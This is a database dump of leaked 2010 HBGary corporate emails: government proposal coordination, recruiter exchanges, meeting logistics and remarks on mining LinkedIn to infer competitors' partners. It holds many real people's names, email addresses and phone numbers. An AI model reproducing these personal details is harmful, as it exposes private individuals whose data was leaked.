&lt;ted@hbgary.com&gt;, &quot;tom.leahy@telos.com&quot; &lt;tom.leahy@telos.com&gt;, &quot;tom.ryder@telos.com&quot; &lt;tom.ryder@telos.com&gt;, William Luti\r\n&lt;wluti@digitalmanagement.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTSA-ITSSS Experience Matrix &amp; Surge Matrix\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nI mentioned on the call, there was some confusion on the Experience Matrix and\r\nSurge Matrix.&nbsp; Please see attached.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nExperience\r\nMatrix&nbsp;&#8211; I&#8217;ve highlighted\r\nnotable topics in the descriptions.&nbsp; &#8211; Due Friday, 8/13, 5pm\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please mark Yes/No in the &#8216;Experience?&#8217;\r\ncolumn.\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please contribute at least 3 notable\r\nexperience narratives in the &#8220;Description&#8230;&#8221; column\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSurge\r\nMatrix&nbsp;&#8211; This is to\r\nindicate how many people each company has in each area.&nbsp; &#8211; Due tomorrow,\r\nWed, 8/11, noon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15772,'aaron_hbgary_com/15772.html'),(10051,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007839.M368467P14101Q4906.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: TSA-ITSSS Experience Matrix & Surge Matrix','Good.On Aug 10, 2010, at 5:27 PM, Winterfeld, Steven P (TASC) wrote:artin and will probably be on the red',3467,'aaron_hbgary_com/3467.html'),(10052,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007839.M594180P14101Q4907.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: TSA-ITSSS Experience Matrix & Surge Matrix','I wanted Mantech on the team, to be honest I don\'t think we have enough experience on the SOC management side....that worries me a bit. &nbsp;I am alone writing that part of the proposal as well as the overall solution \"executive summary\"....whoooohoooo!On Aug 10, 2010, at 5:27 PM, Winterfeld, Steven P (TASC) wrote:Have been working this on the TASC side, it is in Pam Drew’s org.&nbsp;&nbsp;I have been supporting Martin and will probably be on the red team.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, August 10, 2010 2:41 PMTo:&nbsp;Winterfeld, Steven P (TASC)Subject:&nbsp;Fwd: TSA-ITSSS Experience Matrix &amp; Surge Matrix&nbsp;FYI.&nbsp;Begin forwarded message:From:&nbsp;John Fanguy &lt;jfanguy@digitalmanagement.com&gt;Date:&nbsp;August 10, 2010 9:34:21 AM EDTTo:&nbsp;\"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;, Bruce Friedman &lt;bruce.friedman@ngc.com&gt;, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;, \"jwootton@palantir.com\" &lt;jwootton@palantir.com&gt;, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;, Martin Fertal &lt;Martin.Fertal@TASC.com&gt;, \"msteckman@palantir.com\" &lt;msteckman@palantir.com&gt;, \"patricia.krajeski@tasc.com\" &lt;patricia.krajeski@tasc.com&gt;, Paul Meaney &lt;paul.meaney@ngc.com&gt;, \"paul.kuttner@tasc.com\" &lt;paul.kuttner@tasc.com&gt;, \"rob.wilson@telos.com\" &lt;rob.wilson@telos.com&gt;, \"robert.sanderson@telos.com\" &lt;robert.sanderson@telos.com&gt;, \"sondra.spalding@tasc.com\" &lt;sondra.spalding@tasc.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"tom.leahy@telos.com\" &lt;tom.leahy@telos.com&gt;, \"tom.ryder@telos.com\" &lt;tom.ryder@telos.com&gt;, William Luti &lt;wluti@digitalmanagement.com&gt;Subject: TSA-ITSSS Experience Matrix &amp; Surge MatrixAs I mentioned on the call, there was some confusion on the Experience Matrix and Surge Matrix.&nbsp; Please see attached.&nbsp;Experience Matrix&nbsp;– I’ve highlighted notable topics in the descriptions.&nbsp; – Due Friday, 8/13, 5pm·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please mark Yes/No in the ‘Experience?’ column.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please contribute at least 3 notable experience narratives in the “Description…” column&nbsp;Surge Matrix&nbsp;– This is to indicate how many people each company has in each area.&nbsp; – Due tomorrow, Wed, 8/11, noon.&nbsp;Thanks,&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',10416,'aaron_hbgary_com/10416.html'),(10053,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007839.M835057P14101Q4908.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Question on compliance','Just cause I am curious.  They have a section on C&A and FISMA Compliance.  What is the difference?  If FISMA is their only doctrine for security compliance and they have a group managing FISMA compliance, what does the C&A group do?  They also call out ISSO as a separate function from the other two.  Can you explain to me the benefits and differences here?\r\n\r\nAaron',3566,'aaron_hbgary_com/3566.html'),(10054,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007840.M288484P14101Q4910.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Dawn tomorrow :-)','Where is DNI?  I have never been.\r\n\r\nOn Aug 10, 2010, at 6:15 PM, Conroy, Thomas W. wrote:\r\n\r\n> Glad you could make the revised time. See you there. \r\n> \r\n> \r\n\r\n',8006,'aaron_hbgary_com/8006.html'),(10055,'2010-08-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007840.M44610P14101Q4909.eml','aaron@hbgary.com','Dawn tomorrow :-)','Glad you could make the revised time. See you there. \r\n\r\n\r\n',14521,'aaron_hbgary_com/14521.html'),(10056,'2010-08-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007840.M526833P14101Q4911.eml','aaron@hbgary.com','Re: EXTERNAL:Re: Dawn tomorrow :-)','Call me. \r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Conroy, Thomas W.\r\nSent: Tue Aug 10 17:16:41 2010\r\nSubject: EXTERNAL:Re: Dawn tomorrow :-)\r\n\r\nWhere is DNI?  I have never been.\r\n\r\nOn Aug 10, 2010, at 6:15 PM, Conroy, Thomas W. wrote:\r\n\r\n> Glad you could make the revised time. See you there. \r\n> \r\n> \r\n\r\n',4775,'aaron_hbgary_com/4775.html'),(10057,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007840.M732426P14101Q4912.eml','\"Stewart, Brad\" <Brad.Stewart@mantech.com>,\"Stewart, Brad\" <Brad.Stewart@mantech.com>','Re: Gatorbait POCs','Brad,Ted Vera (ted@hbgary.com) Contract Representative.Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623Aaron Barr -&nbsp;technical/program/company representative.Mobile - 719.510.8478AaronOn Aug 10, 2010, at 5:12 PM, Ott, Stephen D wrote:Gatorbait Team,&nbsp;Good afternoon.&nbsp; I am a subcontract manager at ManTech and will be working with you as we move forward on this proposal effort.&nbsp; The capture manager leading this proposal effort, Mr. Brad Stewart, is going to put together a kick-off meeting.&nbsp; He will be contacting everyone shortly with the details.&nbsp;&nbsp;So that we are sending our correspondence to the right people in your company, please send Brad Stewart (cc line) and me the POC information for both your contracting representative and your technical/program/company representative.&nbsp; Please include name, telephone, and email for both contacts.&nbsp; If one person will handle both functions, please indicate that.&nbsp;Please send the contact information by 1000 tomorrow so that Brad can send out his invitation.&nbsp; If you have any questions, let me know.&nbsp; We look forward to working with you.&nbsp; Thank you.&nbsp;Regards,Steve&nbsp;Stephen OttPrincipal Subcontracts AdministratorManTech Mission, Cyber, Technology, and Solutions Group7799 Leesburg Pike, Ste 700 SouthFalls Church, VA 22043(P) 703-485-8010(F) 703-847-0486&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments) are company-confidential and/or proprietary. Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&nbsp;',14172,'aaron_hbgary_com/14172.html'),(10058,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007840.M939644P14101Q4913.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Blog post','Have you seen this blog post? Worth commenting?\r\n\r\nhttp://cci.cocolog-nifty.com/blog/2010/02/hbgary-responde.html\r\n\r\n\"HBGary Responder cannot detect hidden/dead processes!\r\nUnfortunately, HBGary Responder cannot extract hidden processes by\r\nrootkits or already-terminated processes.  I tested 2 experiments.\"...\r\n\r\n-- \r\nTed\r\n',85,'aaron_hbgary_com/85.html'),(10059,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007841.M175858P14101Q4914.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Blog post','Seen this? &nbsp;What is the logical response?Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: August 10, 2010 6:40:09 PM EDTTo: Rich Cummings &lt;rich@hbgary.com&gt;, Phil Wallisch &lt;phil@hbgary.com&gt;, Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Blog postHave you seen this blog post? Worth commenting?http://cci.cocolog-nifty.com/blog/2010/02/hbgary-responde.html\"HBGary Responder cannot detect hidden/dead processes!Unfortunately, HBGary Responder cannot extract hidden processes byrootkits or already-terminated processes. &nbsp;I tested 2 experiments.\"...-- Ted',5169,'aaron_hbgary_com/5169.html'),(10060,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007841.M375216P14101Q4915.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','John brought up Infoshield','And did u see how fast I punked u.\r\n\r\n:-P',3148,'aaron_hbgary_com/3148.html'),(10061,'2010-08-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007841.M672643P14101Q4916.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Bot Hunter','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nI went to bot hunter to see what they did.&nbsp; First, I put the\r\nlink to the EULA below, you can not &#8216;sell&#8221; this as a service, so\r\nnot sure what gd is doing with this, but unless they have some arrangement they\r\ncan&#8217;t sell it as part of the service. &nbsp;&nbsp;Aaron, you might want to look at\r\nit\r\n\r\n&nbsp;\r\n\r\nhttp://www.bothunter.net/eula.html\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12094,'aaron_hbgary_com/12094.html'),(10062,'2010-08-10','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007845.M848011P14101Q4917.eml','\"William Luti\" <wluti@digitalmanagement.com>,\"Aaron Barr\" <aaron@hbgary.com>','Cyber graph...','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis one is old but conceptually draws you in&#8230;from http://www.senet-int.com/documents/AnatomyofanAttack.pdf\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11132,'aaron_hbgary_com/11132.html'),(10063,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007846.M128801P14101Q4918.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Wifi?','Bob,\r\n\r\nFor the AF demo, can you find out if I can bring my mifi (cell-based\r\nwireless access point) or connect to an unclass lan with internet so I\r\ncan \"reach-back\" to my AD server and clients back here for the demo?\r\nI understand that Greg does that using his laptop & ipad...\r\n\r\nTed\r\n',821,'aaron_hbgary_com/821.html'),(10064,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007846.M344094P14101Q4919.eml','\"Greg Hoglund\" <greg@hbgary.com>','Website Demo','Greg,\r\n\r\nYou have to see what Mark has done with the HBGaryFed website.  Its fast. :)\r\n\r\nHe said he had to fix a lot of web spaghetti code in the HBGary site. ;-P\r\n\r\nAaron',956,'aaron_hbgary_com/956.html'),(10065,'2010-08-11','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007846.M560421P14101Q4920.eml','\"Aaron Barr\" <aaron@hbgary.com>','From cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 10, 2010\r\n    cybernexus\r\n    \r\n      \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n  Most Active Discussions (1)\r\n    \r\n      \r\n            Technical Tuesday - 10 Aug; 1600 - 1730; Advanced Cyber Collection Techniques - Extracting Information from the Domain Name System (DNS)\r\n            1 comment  &raquo;\r\n      \r\n        Started by Scott Sheldon\r\n        \r\n        \r\n              For those who attended Blackhat and DEFCON, you probably heard quite a bit about DNSSEC. Come armed with your questions. Tim assures me...\r\n\r\n                    More &raquo;\r\n              By Scott Sheldon\r\n        \r\n        \r\n    \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',9397,'aaron_hbgary_com/9397.html'),(10066,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007846.M780493P14101Q4921.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: I would like an introduction...','NVM.  You have a connection that connects to Chris.  So if you went into LinkedIn and searched for Chris Grindle you would see which of yoru contacts connects him to you.\r\n\r\n:(\r\n\r\nAaron\r\n\r\nI am workin the Social Media.  It gave me some great intel on the incumbent for the TSA work today.  I figured out who the subs were based on linkedin relationsihps.\r\n\r\n\r\nOn Aug 10, 2010, at 3:39 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> I do\'t see it\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 10, 2010 11:34 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: I would like an introduction...\r\n> \r\n> Shows on yours...\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 10, 2010, at 2:28 PM, \"Penny Leavy-Hoglund\"  wrote:\r\n> \r\n>> I don\'t\' know him and he isn\'t on my list, is he on Greg\'s?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, August 10, 2010 6:29 AM\r\n>> To: Penny Leavy\r\n>> Subject: I would like an introduction...\r\n>> \r\n>> To Chris Grindle.\r\n>> \r\n>> He is in your LinkedIn contact list.\r\n>> \r\n>> Aaron\r\n>> \r\n> \r\n\r\n',12266,'aaron_hbgary_com/12266.html'),(10067,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007846.M983947P14101Q4922.eml','\"Ted Vera\" <ted@hbgary.com>','One thing we want to capture','for social media competitive intelligence use.\r\n\r\nYou can look at recommendations to see linkages between companies that you might not know are working together.\r\n\r\nif employee X from company Y leaves a recommendation for employee Z from company A saying something about their skillz OTJ, etc.\r\n\r\nAaron\r\n\r\n',2593,'aaron_hbgary_com/2593.html'),(10068,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007847.M203463P14101Q4923.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Cyber graph...','I\'ll get some new stuff. &nbsp;We might just need to take data and create our own.http://www.avertlabs.com/research/blog/index.php/2010/08/10/mcafee-quarterly-threats-report-released/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+McafeeAvertLabsBlog+%28McAfee+Avert+Labs+Blog%29AaronOn Aug 10, 2010, at 7:15 PM, John Fanguy wrote:This one is old but conceptually draws you in…from&nbsp;http://www.senet-int.com/documents/AnatomyofanAttack.pdf&nbsp;&lt;image001.png&gt;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',8635,'aaron_hbgary_com/8635.html'),(10069,'2010-08-11','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297007847.M554672P14101Q4924.eml','aaron@hbgary.com','Hello!','Hi Aaron,Thanks for linking in.I focus on recruiting cleared engineers and scientists for my clients.One of my specialty areas is network security, revers engineering, vulnerability research, pen testing etc.I have a number of searches that I am currently&nbsp;working on including Airborne ISR engineer positions with a client in VA.I would like the opportunity to work with you should you either need a new job or need to hire some good folks!My very best-Ed\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comWe can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',13898,'aaron_hbgary_com/13898.html'),(10070,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007847.M770111P14101Q4925.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: Hello!','Thanks Ed.\r\n\r\nHow does that work?  I am actually in some need for cleared malware analysts, reverse engineers in the virginia and maryland areas.\r\n\r\nAaron\r\n\r\n\r\n',1323,'aaron_hbgary_com/1323.html'),(10071,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007847.M990322P14101Q4926.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Cyber graph...','Some interesting statistics here.http://www.verizonbusiness.com/resources/reports/rp_2010-data-breach-report_en_xg.pdfAaronOn Aug 10, 2010, at 7:15 PM, John Fanguy wrote:This one is old but conceptually draws you in…from&nbsp;http://www.senet-int.com/documents/AnatomyofanAttack.pdf&nbsp;&lt;image001.png&gt;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',9552,'aaron_hbgary_com/9552.html'),(10072,'2010-08-11','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297007848.M238697P14101Q4927.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: John brought up Infoshield','I punked back a bit - \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 10, 2010 4:46 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: John brought up Infoshield\r\n\r\nAnd did u see how fast I punked u.\r\n\r\n:-P\r\n',14436,'aaron_hbgary_com/14436.html'),(10073,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007848.M453543P14101Q4928.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: John brought up Infoshield','yeah a bit. :)\r\n\r\nOn Aug 10, 2010, at 9:15 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> I punked back a bit - \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 10, 2010 4:46 PM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: John brought up Infoshield\r\n> \r\n> And did u see how fast I punked u.\r\n> \r\n> :-P\r\n\r\n',7031,'aaron_hbgary_com/7031.html'),(10074,'2010-08-11','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297007848.M672143P14101Q4929.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hello!','Hi Aaron\r\nThanks for getting back to me. I have been working on malware analysts, and other network security clients recently. My fee is 20%. No fee is due until a candidate reports for work. Guarantee is 90 days pro-rated. Happy to provide references from other network security cyber clients. \r\nCheck out my website you\'ll see the req I\'m currently working on that is right up your alley!!\r\nMy best,\r\nEd\r\n\r\n\r\n~~~~~~~~~~~~~~~~~\r\nEd Wallach\r\nPresident & CEO \r\nEd Wallach Search Group\r\n301-365-3291 office\r\n301-613-0629 cell\r\nwww.wallachsearch.com\r\ned@wallachsearch.com\r\n\r\nPlease consider the environment before printing this email. \r\n\r\nOn Aug 10, 2010, at 9:05 PM, Aaron Barr  wrote:\r\n\r\n> Thanks Ed.\r\n> \r\n> How does that work?  I am actually in some need for cleared malware analysts, reverse engineers in the virginia and maryland areas.\r\n> \r\n> Aaron\r\n> \r\n> \r\n\r\n',15894,'aaron_hbgary_com/15894.html'),(10075,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007848.M895167P14101Q4930.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Hello!','Begin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;Date: August 10, 2010 9:16:01 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Hello!Hi AaronThanks for getting back to me. I have been working on malware analysts, and other network security clients recently. My fee is 20%. No fee is due until a candidate reports for work. Guarantee is 90 days pro-rated. Happy to provide references from other network security cyber clients. Check out my website you\'ll see the req I\'m currently working on that is right up your alley!!My best,Ed~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO Ed Wallach Search Group301-365-3291 office301-613-0629 cellwww.wallachsearch.comed@wallachsearch.comPlease consider the environment before printing this email. On Aug 10, 2010, at 9:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Thanks Ed.How does that work? &nbsp;I am actually in some need for cleared malware analysts, reverse engineers in the virginia and maryland areas.Aaron',8497,'aaron_hbgary_com/8497.html'),(10076,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007849.M105546P14101Q4931.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Draft','Begin forwarded message:From: &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: August 10, 2010 7:55:07 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Draft\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, August 10, 2010 12:55 PM\r\nTo: Winterfeld, Steven P (TASC)Cc: Barr AaronSubject: DraftHi Steve,Attached is a draft training brochure for a class we developed, hoping to seize on some of the interest we received at our NSA &amp; Blackhat briefings.  Please take a look and tell me what you think.  It&#39;s not done yet, any feedback you can provide is welcomed.\r\nThanks,Ted--Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n\r\n',7204,'aaron_hbgary_com/7204.html'),(10077,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007849.M318936P14101Q4932.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hello!','Dude that&#39;s 20% of annual salary. Drastically increases costs. On Aug 10, 2010, at 7:18 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:\r\nFrom: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\nDate: August 10, 2010 9:16:01 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Hello!\r\nHi AaronThanks for getting back to me. I have been working on malware analysts, and other network security clients recently. My fee is 20%. No fee is due until a candidate reports for work. Guarantee is 90 days pro-rated. Happy to provide references from other network security cyber clients. \r\nCheck out my website you&#39;ll see the req I&#39;m currently working on that is right up your alley!!My best,Ed~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO Ed Wallach Search Group301-365-3291 office\r\n301-613-0629 cellwww.wallachsearch.comed@wallachsearch.comPlease consider the environment before printing this email. \r\nOn Aug 10, 2010, at 9:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Thanks Ed.\r\nHow does that work?  I am actually in some need for cleared malware analysts, reverse engineers in the virginia and maryland areas.Aaron\r\n\r\n',16520,'aaron_hbgary_com/16520.html'),(10078,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007849.M519486P14101Q4933.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: One thing we want to capture','That\'s a good tactic\r\n\r\n\r\n\r\nOn Aug 10, 2010, at 6:41 PM, Aaron Barr  wrote:\r\n\r\n> for social media competitive intelligence use.\r\n>\r\n> You can look at recommendations to see linkages between companies that you might not know are working together.\r\n>\r\n> if employee X from company Y leaves a recommendation for employee Z from company A saying something about their skillz OTJ, etc.\r\n>\r\n> Aaron\r\n>\r\n',12409,'aaron_hbgary_com/12409.html'),(10079,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007849.M743689P14101Q4934.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Hello!','yeah seems realllllly high.probably means people right away but holy crap.On Aug 10, 2010, at 10:06 PM, Ted Vera wrote:Dude that\'s 20% of annual salary. Drastically increases costs.&nbsp;On Aug 10, 2010, at 7:18 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:\r\nFrom: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\nDate: August 10, 2010 